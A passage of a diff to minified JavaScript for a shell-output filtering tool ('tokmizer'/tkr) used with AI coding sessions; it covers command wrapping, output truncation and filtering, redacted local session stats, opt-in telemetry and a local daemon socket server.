c=o?`,"h":${JSON.stringify(o)}`:"",u=s?`,"k":${JSON.stringify(s)}`:"",f=i?`,"c":${JSON.stringify(i.slice(0,24))}`:"",d=a?mC(a):"",p=d&&d.length<=oC?`,"p":${JSON.stringify(d)}`:"",g=l.s?`,"s":${JSON.stringify(l.s.slice(0,66))}`:"",h=l.o?`,"o":${JSON.stringify(l.o)}`:"",m=`{"t":${Math.floor(Date.now()/1e3)},"r":${e},"f":${t}${r?',"m":1':""}${c}${u}${f}${p}${g}${h}}
161
- `;try{q1(b(),{recursive:!0,mode:448}),W1(n,m,{mode:384}),V1(n,384),pC(n)}catch{return}}function ji(e){let t=e.filterId==null?void 0:e.filterId.startsWith("user/")?`u:${e.filterId.slice(5)}`:"b",n=e.filteredBytes<e.rawBytes?void 0:e.filterId==null?"n":e.debugBypass?"e":"g";return{...t?{s:t}:{},...n?{o:n}:{}}}function Bi(e,t,n){let r=n!=null?Math.min(e,n):e,o=n!=null?Math.min(t,n):t;return{raw:r,filtered:o}}var Q1,eC,wk,tC,nC,rC,oC,gC,hC,yC,kC,Ck,eu=y(()=>{"use strict";z();bi();kk();Q1="stats.jsonl",eC="stats-ledger.json",wk=2*1024*1024,tC=3e4,nC=3e4,rC=new Set(["n","g","e"]),oC=256;gC=new Set(["sudo","command","time","nice","nohup","env","stdbuf","timeout"]),hC=new Set(["-u","-g","-n","-s","-k"]),yC=/^[a-z0-9][a-z0-9._-]*$/i,kC=new Set(["git","npm","pnpm","yarn","npx","docker","kubectl","helm","cargo","go","brew","gh","pip","pip3","apt","apt-get","systemctl","terraform","aws","gcloud","az","bundle","rake","rails","prisma","poetry","uv","gem","composer"]),Ck=/^[A-Za-z_][A-Za-z0-9_]*=/});import{appendFileSync as _C,mkdirSync as SC,readFileSync as xC,writeFileSync as vC,renameSync as EC,statSync as TC,readdirSync as xJ,rmSync as vJ,chmodSync as RC}from"node:fs";import{join as Ok}from"node:path";function Pk(){return Ok(b(),"sessions")}function OC(e){let t=e.replace(/[^A-Za-z0-9._-]/g,"-").replace(/\.\./g,"-").slice(0,80)||"default";return Ok(Pk(),`${t}.jsonl`)}function PC(e){let t=sn(e).replace(/(^|\s)(-p)(?=\S)\S+/g,"$1$2[REDACTED]");return vs(t).slice(0,CC)}function zi(e,t){try{let n=OC(e);SC(Pk(),{recursive:!0,mode:448});let r=JSON.stringify({t:t.t??Math.floor(Date.now()/1e3),tool:t.tool,target:PC(t.target),...t.fail?{fail:1}:{}});if(_C(n,`${r}
162
- `,{mode:384}),RC(n,384),TC(n).size>AC){let o=xC(n,"utf8").split(`
163
- `).filter(a=>a.trim()!==""),s=o.slice(o.length-$C),i=`${n}.tmp-${process.pid}`;vC(i,`${s.join(`
165
+ `:""),Dk(Jk(e),JSON.stringify({v:1,days:a}))}catch{return}finally{jk(r,{force:!0})}}function YC(e){let t=MC(e),n=t,r="";for(;;){try{return Li(NC(n),r)}catch{}let o=zk(n);if(o===n)return t;r=r?Li(Nk(n),r):Nk(n),n=o}}function Fk(e){return e.length===0||e[0]==="cd"||e.every(t=>Gk.test(t))}function nO(e){let t=[],n="",r=!1,o=null,s=()=>{r&&t.push(n),n="",r=!1};for(let i of e){if(o){i===o?o=null:n+=i;continue}if(i==="'"||i==='"'){o=i,r=!0;continue}if(i===" "||i===" "){s();continue}if(`|;&<>
166
+ `.includes(i)){if(s(),Fk(t)){t=[];continue}return t}n+=i,r=!0}return s(),Fk(t)?[]:t}function bn(e){let t=nO(e).map(a=>a.replace(/^[({]+/,"")).filter(Boolean),n=0;for(;n<t.length;){let a=t[n];if(Gk.test(a)){n+=1;continue}if(XC.has(a)){for(n+=1;n<t.length;){let l=t[n];if(l.startsWith("-")){n+=QC.has(l)?2:1;continue}if(/^\d+(?:\.\d+)?[smhd]?$/.test(l)){n+=1;continue}break}continue}break}if(n>=t.length)return"";let r=t[n],o=r.includes("/")?r.slice(r.lastIndexOf("/")+1):r,s=t[n+1];return(s&&!s.startsWith("-")&&eO.test(s)&&tO.has(o.toLowerCase())?`${o} ${s}`:o).slice(0,24)}function rO(){return Li(b(),DC)}function Hi(e,t,n=rO(),r=!1,o,s,i,a,l={}){if(!Number.isSafeInteger(e)||!Number.isSafeInteger(t)||e<0||t<0||e+t===0)return;let c=o?`,"h":${JSON.stringify(o)}`:"",u=s?`,"k":${JSON.stringify(s)}`:"",f=i?`,"c":${JSON.stringify(i.slice(0,24))}`:"",d=a?YC(a):"",m=d&&d.length<=BC?`,"p":${JSON.stringify(d)}`:"",g=l.s?`,"s":${JSON.stringify(l.s.slice(0,66))}`:"",h=l.o?`,"o":${JSON.stringify(l.o)}`:"",p=`{"t":${Math.floor(Date.now()/1e3)},"r":${e},"f":${t}${r?',"m":1':""}${c}${u}${f}${m}${g}${h}}
167
+ `;try{PC(b(),{recursive:!0,mode:448}),OC(n,p,{mode:384}),IC(n,384),qC(n)}catch{return}}function ji(e){let t=e.filterId==null?void 0:e.filterId.startsWith("user/")?`u:${e.filterId.slice(5)}`:"b",n=e.filteredBytes<e.rawBytes?void 0:e.filterId==null?"n":e.debugBypass?"e":"g";return{...t?{s:t}:{},...n?{o:n}:{}}}function Bi(e,t,n){let r=n!=null?Math.min(e,n):e,o=n!=null?Math.min(t,n):t;return{raw:r,filtered:o}}var DC,FC,Mk,LC,HC,jC,BC,XC,QC,eO,tO,Gk,ru=y(()=>{"use strict";U();Si();Pk();DC="stats.jsonl",FC="stats-ledger.json",Mk=2*1024*1024,LC=3e4,HC=3e4,jC=new Set(["n","g","e"]),BC=256;XC=new Set(["sudo","command","time","nice","nohup","env","stdbuf","timeout"]),QC=new Set(["-u","-g","-n","-s","-k"]),eO=/^[a-z0-9][a-z0-9._-]*$/i,tO=new Set(["git","npm","pnpm","yarn","npx","docker","kubectl","helm","cargo","go","brew","gh","pip","pip3","apt","apt-get","systemctl","terraform","aws","gcloud","az","bundle","rake","rails","prisma","poetry","uv","gem","composer"]),Gk=/^[A-Za-z_][A-Za-z0-9_]*=/});import{appendFileSync as oO,mkdirSync as sO,readFileSync as iO,writeFileSync as aO,renameSync as lO,statSync as cO,readdirSync as w4,rmSync as _4,chmodSync as uO}from"node:fs";import{join as Kk}from"node:path";function Wk(){return Kk(b(),"sessions")}function mO(e){let t=e.replace(/[^A-Za-z0-9._-]/g,"-").replace(/\.\./g,"-").slice(0,80)||"default";return Kk(Wk(),`${t}.jsonl`)}function ou(e){let t=an(e.slice(0,Zk*32)).replace(/(^|\s)(-p)(?:'[^']*'|"[^"]*"|(?=\S)\S+)/g,"$1$2[REDACTED]");return vs(t).slice(0,Zk)}function zi(e,t){try{let n=mO(e);sO(Wk(),{recursive:!0,mode:448});let r=JSON.stringify({t:t.t??Math.floor(Date.now()/1e3),tool:t.tool,target:ou(t.target),...t.fail?{fail:1}:{}});if(oO(n,`${r}
168
+ `,{mode:384}),uO(n,384),cO(n).size>fO){let o=iO(n,"utf8").split(`
169
+ `).filter(a=>a.trim()!==""),s=o.slice(o.length-dO),i=`${n}.tmp-${process.pid}`;aO(i,`${s.join(`
164
170
  `)}
165
- `,{mode:384}),EC(i,n)}}catch{}}var AC,$C,AJ,CC,tu=y(()=>{"use strict";z();Wr();AC=96*1024,$C=500,AJ=168*3600*1e3,CC=120});async function IC(){if(_r)return _r;if(Zo)return Zo;let e=ei().then(t=>{if(Zo===e)return _r=t,t;try{t.close()}catch{}return null}).catch(()=>null);return Zo=e,e}async function NC(){return ru||(ru=!0,nu=await Zr()??hn()),nu}async function Ik(e,t,n){let r=await NC();if(!r)return null;let o=r.selectFor(e,t,n?[...n]:void 0);return!o||n&&!n.has(ue(o.slug))?null:o}function MC(e){return e?{...e,matchRegex:new RegExp(e.match_command)}:null}function Ui(e){Xc(async(t,n)=>{let r=e==="free"?"trial":e,o=n??kr(void 0),s=await IC();if(!s)return Ik(t,r,o);try{let i=await s.filter(t,r,o?[...o]:void 0);return!i||o&&!o.has(ue(i.slug))?null:MC(i)}catch{return Ik(t,r,o)}})}function Ji(){if(Xc(null),_r)try{_r.close()}catch{}_r=null,Zo=null,nu=null,ru=!1}var _r,Zo,nu,ru,ou=y(()=>{"use strict";Hl();Fi();ut();In();br();_r=null,Zo=null;nu=null,ru=!1});var Bk={};ge(Bk,{CAPTURING_ENV:()=>au,POST_EXIT_IDLE_MS:()=>Fk,POST_EXIT_MAX_MS:()=>Lk,commandLine:()=>jk,kickBackgroundEnroll:()=>Gi,processCapturedOutput:()=>Zi,resolveExecTimeoutMs:()=>Hk,runWrapped:()=>VC,signalNumber:()=>su,underCapturingExec:()=>JC});import{existsSync as Nk,readFileSync as DC,writeFileSync as FC,mkdirSync as LC}from"node:fs";import{join as HC}from"node:path";import{constants as jC}from"node:os";import{fileURLToPath as BC}from"node:url";import{StringDecoder as zC}from"node:string_decoder";function JC(e=process.env){return e[au]==="1"}function Dk(e,t){let n=new zC("utf8"),r=n.write(Buffer.concat(e));return t?r:r+n.end()}function Gi(){try{if(!ee()||!Nk(gf()))return;let e=process.env.TOKMIZER_TKR_BIN||BC(new URL("../bin/tkr.js",import.meta.url));if(!fe()&&!Nk(e))return;let t=HC(b(),"enroll-kick");try{let s=Number(DC(t,"utf8"));if(Number.isFinite(s)&&Date.now()-s<UC)return}catch{}LC(b(),{recursive:!0}),FC(t,String(Date.now()));let[n,...r]=ln(e);(0,iu.default)(n,[...r,"heartbeat"],{detached:!0,stdio:"ignore",windowsHide:!0}).unref()}catch{}}function Hk(e){let t=Number(e.TOKMIZER_EXEC_TIMEOUT_MS);if(Number.isFinite(t)&&t>0)return t;let n=Number(e.BASH_MAX_TIMEOUT_MS);return Number.isFinite(n)&&n>6e5?n:6e5}function su(e){return jC.signals[e]??ZC[e]??15}function jk(e){return e.map(t=>KC.test(t)?t:Y(t)).join(" ")}function WC(e){let t=Jo(e);if(t===null)return!1;let[n,...r]=bt(t).split(/\s+/);return/^(?:cat|head|nl)(?:\.exe)?$/i.test(n?.split(/[\\/]/).pop()??"")&&r.some(o=>o!==""&&!o.startsWith("-"))}async function VC(e){let[t,...n]=e;if(!t)throw new Error("tkr-exec: missing command");let r=Ce(),o=(0,iu.default)(t,n,{stdio:["inherit","pipe","pipe"],env:{...Xp(),[au]:"1"},windowsHide:!0}),s=!1;o.on("spawn",()=>{s=!0});let i=A=>{try{o.kill(A)}catch{}},a=()=>i("SIGINT"),l=()=>i("SIGTERM");process.on("SIGINT",a),process.on("SIGTERM",l);let c=[],u=[],f=0,d=0,p=!1,g=!1;o.stdout?.on("data",A=>{if(f>=Sr){p=!0;return}let $=Sr-f,D=A.length>$?A.subarray(0,$):A;c.push(D),f+=D.length,A.length>$&&(p=!0)}),o.stderr?.on("data",A=>{if(d>=Sr){g=!0;return}let $=Sr-d,D=A.length>$?A.subarray(0,$):A;u.push(D),d+=D.length,A.length>$&&(g=!0)});let h,m,_,S,E;try{E=await new Promise((A,$)=>{o.on("error",O=>{h&&clearTimeout(h),s?A(1):$(O)});let D=null,_e=()=>{D!=null&&(h&&clearTimeout(h),_&&clearTimeout(_),S&&clearTimeout(S),A(D))},me=()=>{o.stdout?.destroy(),o.stderr?.destroy(),_e()},Q=()=>{_&&clearTimeout(_),_=setTimeout(me,Fk)};o.on("exit",(O,G)=>{h&&clearTimeout(h),m&&clearTimeout(m),D=O??(G?128+su(G):0),Q(),S=setTimeout(me,Lk),o.stdout?.on("data",Q),o.stderr?.on("data",Q)}),o.on("close",(O,G)=>{D==null&&(D=O??(G?128+su(G):0)),_e()}),h=setTimeout(()=>{o.kill("SIGTERM"),m=setTimeout(()=>o.kill("SIGKILL"),2e3)},GC),h.unref?.()})}finally{h&&clearTimeout(h),m&&clearTimeout(m),_&&clearTimeout(_),S&&clearTimeout(S),process.off("SIGINT",a),process.off("SIGTERM",l)}let R=Dk(c,p),I=Dk(u,g);return Zi({argv:e,stdout:R,stderr:I,exitCode:E,truncated:p,stderrTruncated:g},{yolo:r,env:process.env,onMissingState:Gi})}async function Zi({argv:e,stdout:t,stderr:n,exitCode:r,truncated:o,stderrTruncated:s},{yolo:i,env:a,resolver:l,onMissingState:c,deferAccounting:u,...f}){let d=o?`
166
- \u2026 (output truncated at ${Sr/1048576}MB)`:"",p=s?`
167
- \u2026 (stderr truncated at ${Sr/(1024*1024)}MB)`:"",g=()=>{let h=t+d,m=Buffer.byteLength(h,"utf8");return{stdout:h,stderr:n+p,code:r,filterId:null,rawBytes:m,filteredBytes:m,truncated:o}};try{let h=await V();h||c?.();let m=await ne();if(!m.enabled)return g();let _=a.CLAUDE_CODE_SESSION_ID;_&&h?.token&&zi(_,{tool:"Bash",target:e.join(" "),...r!==0?{fail:1}:{}});let S=h?or(h):null,E=h?kr(h.allowedFilters,ii(h)):null,R=new Set(m.filters.disabled.map(ue)),I=E&&R.size>0?new Set([...E].filter(M=>!R.has(M))):E,A=jk(e);h&&!l&&Ui(S);let $=await wr(A,t,I,{verbosity:m.outputVerbosity,resolver:l,yolo:i,exitCode:r}),D=et(n,n),_e=0,me=0;if((i||r===0)&&Buffer.byteLength(n,"utf8")>=(i?1:Mk)){let M=await wr(A,n,I,{verbosity:m.outputVerbosity,resolver:l,yolo:i,exitCode:r});if(D=et(M.output,n),!i&&M.output!==n)try{D=await Hn(M.droppedTail??null,M.output,a,{raw:s?null:n,label:yn(A)})}catch{}_e=M.rawBytes,me=M.filteredBytes}else if(!i&&r!==0&&Buffer.byteLength(n,"utf8")>=Mk){let M=await wr(A,n,I,{verbosity:m.outputVerbosity,resolver:l,exitCode:r});if(M.failureSummary){try{D=await Hn(M.droppedTail??null,M.output,a)}catch{D=et(M.output,n)}_e=M.rawBytes,me=M.filteredBytes}}let O=!i&&$.output!==t&&WC(A)?`${$.output}${$.output.endsWith(`
171
+ `,{mode:384}),lO(i,n)}}catch{}}var fO,dO,v4,Zk,Ui=y(()=>{"use strict";U();Vr();fO=96*1024,dO=500,v4=168*3600*1e3,Zk=120});async function pO(){if(_r)return _r;if(Zo)return Zo;let e=si().then(t=>{if(Zo===e)return _r=t,t;try{t.close()}catch{}return null}).catch(()=>null);return Zo=e,e}async function gO(){return iu||(iu=!0,su=await Kr()??kn()),su}async function Vk(e,t,n){let r=await gO();if(!r)return null;let o=r.selectFor(e,t,n?[...n]:void 0);return!o||n&&!n.has(fe(o.slug))?null:o}function hO(e){return e?{...e,matchRegex:new RegExp(e.match_command)}:null}function Ji(){eu(async(e,t)=>{let r=t??kr(void 0),o=await pO();if(!o)return Vk(e,"pro",r);try{let s=await o.filter(e,"pro",r?[...r]:void 0);return!s||r&&!r.has(fe(s.slug))?null:hO(s)}catch{return Vk(e,"pro",r)}})}function Gi(){if(eu(null),_r)try{_r.close()}catch{}_r=null,Zo=null,su=null,iu=!1}var _r,Zo,su,iu,au=y(()=>{"use strict";Yl();Di();ft();Nn();br();_r=null,Zo=null;su=null,iu=!1});var fu={};he(fu,{CAPTURING_ENV:()=>uu,POST_EXIT_IDLE_MS:()=>Qk,POST_EXIT_MAX_MS:()=>eb,commandLine:()=>nb,kickBackgroundEnroll:()=>Zi,processCapturedOutput:()=>Ki,resolveExecTimeoutMs:()=>tb,runWrapped:()=>CO,signalNumber:()=>lu,underCapturingExec:()=>vO});import{existsSync as qk,readFileSync as yO,writeFileSync as kO,mkdirSync as bO}from"node:fs";import{join as wO}from"node:path";import{constants as _O}from"node:os";import{fileURLToPath as SO}from"node:url";import{StringDecoder as xO}from"node:string_decoder";function vO(e=process.env){return e[uu]==="1"}function Xk(e,t){let n=new xO("utf8"),r=n.write(Buffer.concat(e));return t?r:r+n.end()}function Zi(){try{if(!ee()||!qk(kf()))return;let e=process.env.TOKMIZER_TKR_BIN||SO(new URL("../bin/tkr.js",import.meta.url));if(!de()&&!qk(e))return;let t=wO(b(),"enroll-kick");try{let s=Number(yO(t,"utf8"));if(Number.isFinite(s)&&Date.now()-s<EO)return}catch{}bO(b(),{recursive:!0,mode:448}),kO(t,String(Date.now()));let[n,...r]=cn(e);(0,cu.default)(n,[...r,"heartbeat"],{detached:!0,stdio:"ignore",windowsHide:!0}).unref()}catch{}}function tb(e){let t=Number(e.TOKMIZER_EXEC_TIMEOUT_MS);if(Number.isFinite(t)&&t>0)return t;let n=Number(e.BASH_MAX_TIMEOUT_MS);return Number.isFinite(n)&&n>6e5?n:6e5}function lu(e){return _O.signals[e]??RO[e]??15}function nb(e){return e.map(t=>AO.test(t)?t:X(t)).join(" ")}function $O(e){let t=Jo(e);if(t===null)return!1;let[n,...r]=wt(t).split(/\s+/);return/^(?:cat|head|nl)(?:\.exe)?$/i.test(n?.split(/[\\/]/).pop()??"")&&r.some(o=>o!==""&&!o.startsWith("-"))}async function CO(e){let[t,...n]=e;if(!t)throw new Error("tkr-exec: missing command");let r=$e(),o={...yp(),[uu]:"1"},s=(0,cu.default)(Xy(t,o),n,{stdio:["inherit","pipe","pipe"],env:o,windowsHide:!0}),i=!1;s.on("spawn",()=>{i=!0});let a=I=>{try{s.kill(I)}catch{}},l=()=>a("SIGINT"),c=()=>a("SIGTERM");process.on("SIGINT",l),process.on("SIGTERM",c);let u=[],f=[],d=0,m=0,g=!1,h=!1;s.stdout?.on("data",I=>{if(d>=Sr){g=!0;return}let H=Sr-d,Y=I.length>H?I.subarray(0,H):I;u.push(Y),d+=Y.length,I.length>H&&(g=!0)}),s.stderr?.on("data",I=>{if(m>=Sr){h=!0;return}let H=Sr-m,Y=I.length>H?I.subarray(0,H):I;f.push(Y),m+=Y.length,I.length>H&&(h=!0)});let p,w,S,x,T;try{T=await new Promise((I,H)=>{s.on("error",G=>{p&&clearTimeout(p),i?I(1):H(G)});let Y=null,ge=()=>{Y!=null&&(p&&clearTimeout(p),S&&clearTimeout(S),x&&clearTimeout(x),I(Y))},te=()=>{s.stdout?.destroy(),s.stderr?.destroy(),ge()},P=()=>{S&&clearTimeout(S),S=setTimeout(te,Qk)};s.on("exit",(G,B)=>{p&&clearTimeout(p),w&&clearTimeout(w),Y=G??(B?128+lu(B):0),P(),x=setTimeout(te,eb),s.stdout?.on("data",P),s.stderr?.on("data",P)}),s.on("close",(G,B)=>{Y==null&&(Y=G??(B?128+lu(B):0)),ge()}),p=setTimeout(()=>{s.kill("SIGTERM"),w=setTimeout(()=>s.kill("SIGKILL"),2e3)},TO),p.unref?.()})}finally{p&&clearTimeout(p),w&&clearTimeout(w),S&&clearTimeout(S),x&&clearTimeout(x),process.off("SIGINT",l),process.off("SIGTERM",c)}let A=Xk(u,g),M=Xk(f,h);return Ki({argv:e,stdout:A,stderr:M,exitCode:T,truncated:g,stderrTruncated:h},{yolo:r,env:process.env,onMissingState:Zi})}async function Ki({argv:e,stdout:t,stderr:n,exitCode:r,truncated:o,stderrTruncated:s},{yolo:i,env:a,resolver:l,onMissingState:c,deferAccounting:u,...f}){let d=o?`
172
+ \u2026 (output truncated at ${Sr/1048576}MB)`:"",m=s?`
173
+ \u2026 (stderr truncated at ${Sr/(1024*1024)}MB)`:"",g=()=>{let h=t+d,p=Buffer.byteLength(h,"utf8");return{stdout:h,stderr:n+m,code:r??0,filterId:null,rawBytes:p,filteredBytes:p,truncated:o}};try{let h=await q();h||c?.();let p=await re();if(!p.enabled)return g();let w=a.CLAUDE_CODE_SESSION_ID;w&&h?.token&&zi(w,{tool:"Bash",target:e.join(" "),...r!=null&&r!==0?{fail:1}:{}});let S=h?kr(h.allowedFilters,Fi(h)):null,x=new Set(p.filters.disabled.map(fe)),T=S&&x.size>0?new Set([...S].filter(N=>!x.has(N))):S,A=nb(e);h&&!l&&Ji();let M=await wr(A,t,T,{verbosity:p.outputVerbosity,resolver:l,yolo:i,exitCode:r}),I=tt(n,n),H=0,Y=0;if((i||r===0||r==null)&&Buffer.byteLength(n,"utf8")>=(i?1:Yk)){let N=await wr(A,n,T,{verbosity:p.outputVerbosity,resolver:l,yolo:i,exitCode:r});if(I=tt(N.output,n),!i&&N.output!==n)try{I=await jn(N.droppedTail??null,N.output,a,{raw:s?null:n,label:bn(A)})}catch{}H=N.rawBytes,Y=N.filteredBytes}else if(!i&&r!==0&&Buffer.byteLength(n,"utf8")>=Yk){let N=await wr(A,n,T,{verbosity:p.outputVerbosity,resolver:l,exitCode:r});if(N.failureSummary){try{I=await jn(N.droppedTail??null,N.output,a)}catch{I=tt(N.output,n)}H=N.rawBytes,Y=N.filteredBytes}}let te=!i&&M.output!==t&&$O(A)?`${M.output}${M.output.endsWith(`
168
174
  `)?"":`
169
- `}${Dn}`:$.output,G=et(O,t);if(!i&&$.filteredBytes<$.rawBytes)try{G=new RegExp(_i.source,"m").test($.output)?await Ts(t,O,a,{label:yn(A)}):await Hn($.droppedTail??null,O,a,{raw:o?null:t,label:yn(A)})}catch{}!o&&t.length>0&&Buffer.byteLength(G,"utf8")>=Buffer.byteLength(t,"utf8")&&(G=et(t,t));let U=G+d,W=D+p,J=qs(a).host,X=Bi($.rawBytes+Buffer.byteLength(n,"utf8"),Buffer.byteLength(U,"utf8")+Buffer.byteLength(W,"utf8"),Vs(J)),Se=!1,Mt=async()=>{if(!Se){Se=!0;try{Hi(X.raw,X.filtered,void 0,!1,J,"sh",yn(A),"cwd"in f?f.cwd:process.cwd(),ji($)),await jo({cmd:A,filterId:$.filterId,rawBytes:$.rawBytes,filteredBytes:$.filteredBytes,plan:S}),await Po({cmd:A,tokensSaved:Math.max(0,Math.round((X.raw-X.filtered)/4)),rawTokens:Math.round(X.raw/4),optimized:$.filterId!=null,telemetryOptIn:m.telemetryOptIn&&(!u||(await ne()).telemetryOptIn),sessionId:_,host:J})}catch{}}};return u?u(Mt):await Mt(),{stdout:U,stderr:W,code:r,filterId:$.filterId,rawBytes:$.rawBytes+_e,filteredBytes:$.filteredBytes+me,truncated:o}}catch{return g()}finally{l||Ji()}}var iu,Sr,Mk,UC,Fk,Lk,au,GC,ZC,KC,lu=y(()=>{"use strict";iu=Qb(Ly(),1);Fi();ut();br();ze();z();ai();Bo();ur();eu();tu();pt();So();Xs();ou();Rs();dr();Es();Kc();Vr();tt();Ue();Ee();Sr=10*1024*1024,Mk=1024,UC=6e4,Fk=200,Lk=1e3,au="TOKMIZER_EXEC_CAPTURING";GC=Hk(process.env),ZC={SIGHUP:1,SIGINT:2,SIGQUIT:3,SIGILL:4,SIGTRAP:5,SIGABRT:6,SIGBUS:7,SIGFPE:8,SIGKILL:9,SIGUSR1:10,SIGSEGV:11,SIGUSR2:12,SIGPIPE:13,SIGALRM:14,SIGTERM:15};KC=/^[A-Za-z0-9_@%+=:,./-]+$/});var wu={};ge(wu,{FOLD_MARKER_RE:()=>_i,captureForRestore:()=>Hn,captureOriginalForRestore:()=>Ts,closeDaemonResolver:()=>Ji,countedSaving:()=>Bi,gatingPlan:()=>or,graceExceeded:()=>ii,installDaemonResolver:()=>Ui,loadSettingsCache:()=>ne,neutralizeMarkers:()=>et,processOutput:()=>wr,recordEvent:()=>jo,recordStat:()=>Hi,recordTelemetry:()=>Po,resolveAllowedFilters:()=>kr,statCmdLabel:()=>yn,statOutcome:()=>ji});var _u=y(()=>{"use strict";Fi();Rs();dr();br();ai();Bo();ur();eu();ou();pt()});ma();fs();In();$t();import{createServer as l_}from"node:net";import{chmodSync as c_}from"node:fs";async function vf(e,t={}){await Ur();let{path:n,isPipe:r}=t.socketPath?{path:t.socketPath,isPipe:process.platform==="win32"}:ct(),o=e,s=null,i=Date.now(),a=t.idleTimeoutMs??nf,l=process.env.TOKMIZER_DAEMON_INSTALL_ID??"",c=async g=>{if(i=Date.now(),g.op==="ping")return{id:g.id,ok:!0,data:{pid:process.pid,uptimeMs:o?Date.now()-o.startedAt:0,ruleCount:o?.ruleCount??0,bundleVersion:o?.bundleVersion??0,version:he}};if(g.op==="shutdown")return!l||g.installId!==l?{id:g.id,ok:!1,err:"forbidden"}:(setTimeout(()=>t.onShutdown?.(),10),{id:g.id,ok:!0,data:{stopping:!0}});if(g.op==="reload"){if(!l||g.installId!==l)return{id:g.id,ok:!1,err:"forbidden"};if(!t.onWarming)return{id:g.id,ok:!1,err:"no_warming_handler"};try{return o=await t.onWarming(),{id:g.id,ok:!0,data:{ruleCount:o.ruleCount,bundleVersion:o.bundleVersion}}}catch(h){return{id:g.id,ok:!1,err:h.message,retryAfterMs:1e3}}}if(g.op==="filter"){if(l&&g.installId!==l)return{id:g.id,ok:!1,err:"forbidden"};if(o&&_f(o))if(t.onWarming)s||(s=t.onWarming(),s.then(m=>{o=m}).catch(()=>{}).finally(()=>{s=null}));else return{id:g.id,ok:!0,data:{filter:null,cacheHit:!0}};if(!o)if(t.onWarming){s||(s=t.onWarming());try{o=await s}catch(m){return s=null,{id:g.id,ok:!1,err:m.message,retryAfterMs:1e3}}s=null}else return{id:g.id,ok:!1,err:"warming",retryAfterMs:250};let h=o.selectFor(g.cmd,g.plan,g.allowed);return{id:g.id,ok:!0,data:{filter:h??null,cacheHit:!0}}}return{id:g.id,ok:!1,err:"unknown_op"}},u=l_(g=>{let h="";g.setEncoding("utf8"),g.on("data",m=>{if(h+=m,Buffer.byteLength(h,"utf8")>qu){g.write(Rt({id:"?",ok:!1,err:"frame_too_large"})),h="";return}let _=-1;for(let E=0;E<h.length;E++)h[E]===$n&&(_=E);if(_<0)return;let S=[];for(let E of is(h.slice(0,_+1)))S.push(E);h=h.slice(_+1);for(let E of S){if(!E)continue;let R="?";try{let I=JSON.parse(E);typeof I.id=="string"&&I.id.length<=64&&(R=I.id);let A=Wu.parse(I);c(A).then($=>{g.write(Rt($))}).catch($=>{g.write(Rt({id:A.id,ok:!1,err:`internal:${$.message?.slice(0,80)??"error"}`}))})}catch(I){g.write(Rt({id:R,ok:!1,err:`bad_request:${I.message.slice(0,80)}`}))}}}),g.on("error",()=>{try{g.destroy()}catch{}})}),f=!1,d=setInterval(()=>{if(f)return;if(t.isActive?.()){i=Date.now();return}let g=Date.now()-i;(!rf()&&g>a||g>a*2)&&(f=!0,t.onShutdown?.())},tf);return d.unref(),await new Promise((g,h)=>{u.once("error",h),u.listen(n,()=>{if(u.off("error",h),!r)try{c_(n,384)}catch{}g()})}),{server:u,close:async()=>{clearInterval(d),await new Promise(g=>u.close(()=>g()))},touch:()=>{i=Date.now()}}}In();function Ef(e){let t=0,n=0,r=null;return async function(){let s=Date.now();if(n>s&&r)throw new Error(`bundle fetch cooling down for ${n-s}ms (last: ${r.message})`);try{let i=await e();return t=0,n=0,r=null,i}catch(i){if(t+=1,r=i,t>=3){let a=Math.min(6e4,500*2**(t-3));n=Date.now()+a}throw i}}}ut();Mn();ze();Pn();z();import{readFile as Gz,writeFile as s$,mkdir as Zz}from"node:fs/promises";import{createPublicKey as k_,verify as b_}from"node:crypto";import{mkdir as w_,writeFile as __}from"node:fs/promises";import{join as S_}from"node:path";import{createHash as m_,createPublicKey as g_,verify as h_}from"node:crypto";var $f=`-----BEGIN PUBLIC KEY-----
175
+ `}${Fn}`:M.output,P=tt(te,t);if(!i&&M.filteredBytes<M.rawBytes)try{P=new RegExp(Ei.source,"m").test(M.output)?await Rs(t,te,a,{label:bn(A)}):await jn(M.droppedTail??null,te,a,{raw:o?null:t,label:bn(A)})}catch{}!o&&t.length>0&&Buffer.byteLength(P,"utf8")>=Buffer.byteLength(t,"utf8")&&(P=tt(t,t));let G=P+d,B=I+m,V=ti(a).host,J=Bi(M.rawBytes+Buffer.byteLength(n,"utf8"),Buffer.byteLength(G,"utf8")+Buffer.byteLength(B,"utf8"),ei(V)),Q=!1,Ie=async()=>{if(!Q){Q=!0;try{Hi(J.raw,J.filtered,void 0,!1,V,"sh",bn(A),"cwd"in f?f.cwd:process.cwd(),ji(M)),h&&await jo({cmd:A,filterId:M.filterId,rawBytes:M.rawBytes,filteredBytes:M.filteredBytes}),await Do({cmd:A,tokensSaved:Math.max(0,Math.round((J.raw-J.filtered)/4)),rawTokens:Math.round(J.raw/4),optimized:M.filterId!=null,telemetryOptIn:p.telemetryOptIn&&(!u||(await re()).telemetryOptIn),sessionId:w,host:V})}catch{}}};return u?u(Ie):await Ie(),{stdout:G,stderr:B,code:r??0,filterId:M.filterId,rawBytes:M.rawBytes+H,filteredBytes:M.filteredBytes+Y,truncated:o}}catch{return g()}finally{l||Gi()}}var cu,Sr,Yk,EO,Qk,eb,uu,TO,RO,AO,Wi=y(()=>{"use strict";cu=kw(Vy(),1);Qy();Di();ft();br();Ue();U();tu();Bo();ur();ru();Ui();pt();To();ri();au();As();dr();Ts();Vc();qr();nt();Je();ve();Sr=10*1024*1024,Yk=1024,EO=6e4,Qk=200,eb=1e3,uu="TOKMIZER_EXEC_CAPTURING";TO=tb(process.env),RO={SIGHUP:1,SIGINT:2,SIGQUIT:3,SIGILL:4,SIGTRAP:5,SIGABRT:6,SIGBUS:7,SIGFPE:8,SIGKILL:9,SIGUSR1:10,SIGSEGV:11,SIGUSR2:12,SIGPIPE:13,SIGALRM:14,SIGTERM:15};AO=/^[A-Za-z0-9_@%+=:,./-]+$/});var xu={};he(xu,{FOLD_MARKER_RE:()=>Ei,captureForRestore:()=>jn,captureOriginalForRestore:()=>Rs,closeDaemonResolver:()=>Gi,countedSaving:()=>Bi,graceExceeded:()=>Fi,installDaemonResolver:()=>Ji,loadSettingsCache:()=>re,neutralizeMarkers:()=>tt,processOutput:()=>wr,recordEvent:()=>jo,recordStat:()=>Hi,recordTelemetry:()=>Do,resolveAllowedFilters:()=>kr,statCmdLabel:()=>bn,statOutcome:()=>ji});var Eu=y(()=>{"use strict";Di();As();dr();br();tu();Bo();ur();ru();au();pt()});ga();ds();Nn();Ct();import{createServer as R_}from"node:net";import{chmodSync as A_}from"node:fs";var $_=300;async function Rf(e,t={}){await 